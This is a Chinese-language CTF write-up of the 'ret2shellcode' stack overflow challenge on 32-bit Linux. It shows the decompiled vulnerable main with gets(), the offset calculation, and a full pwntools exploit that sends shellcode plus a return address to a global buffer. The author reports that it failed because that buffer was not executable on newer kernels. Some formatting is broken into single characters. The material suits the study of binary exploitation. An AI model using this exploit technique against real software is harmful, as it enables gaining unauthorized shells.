理论基础:
栈空间分布
见RE.RE 从零开始的逆向之路(Windows版)
最后一节,Linux libc下存在一点差异,但不影响
环境及工具版本
Ubuntu 20.04
glibc 2.31
Gdb: 9.2
Python: 3.8.10 (default, Jul 29 2024, 17:02:10) [GCC 9.4.0]
Pwndbg: 2024.02.14
Capstone: 5.0.1280
Unicorn: 2.0.1
题面
编译选项如下:
ida逆向结果如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
解题步骤:
一句话总结:payload = (shellcode + padding) + *ret
1.找到溢出点
查看代码,通过在main函数中,get函数给v4赋值明显可以产生溢出。RELRO部分开启,我们无法直接通过返回stack地址来ROP,但是后面有把v4 strncpy 到 未初始化的全局变量 buf2 下面
2.构造payload
1)首先确认v4 在栈空间的位置,计算其与ebp+4的差。通过逆向分析可以看到v4在
e
s
p
+
0
x
1
c
,
esp+0x1c ,
esp+0x1c, 距离
e
b
p
+
4
ebp+4
ebp+4有 112 个字节 ,这其中包括 shellcode和padding,在后面加上buf2的地址,也就是0x804a080就是完整的payload
在python命令行试了一下,i386shellcode的长度是44个字节,需要补充68个字节,当然也可以直接使用ljust补齐
3.完成exp
关于使用pwntools写exp可以参考pwntools简明手册,简单场景可以直接套用下面的模板
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='i386',os='linux')
io =process('./ret2shellcode')
shellcode =asm(shellcraft.i386.linux.sh()) #使用pwntools生成shellcode
payload = flat([shellcode.ljust(112,b'a'),0x804a080]) #shellcode+padding+ret_address
gdb.attach(io)
io.sendline(payload)
io.interactive()
实验结果:
通过脚本对v4做溢出,使得main函数在ret时eip返回到buf2,
但没能功获取到shell
通过vmmap查看,buf2所在的段确实没有执行权限
查了一下,LinuxKernel5.4以后的版本即时是使用-fno-stackprotect编译的EXEC(不论是在哪个平台编译的,只要运行平台的LinuxKernel版本高于5.4),只有stack会有可执行权限。而在5.4之前,-fno-stackprotect的执行结果实际是会把data ,rodata ,bss,stack这几个段都改成可执行
https://medium.com/csg-govtech/why-doesnt-my-shellcode-work-anymore-136ce179643f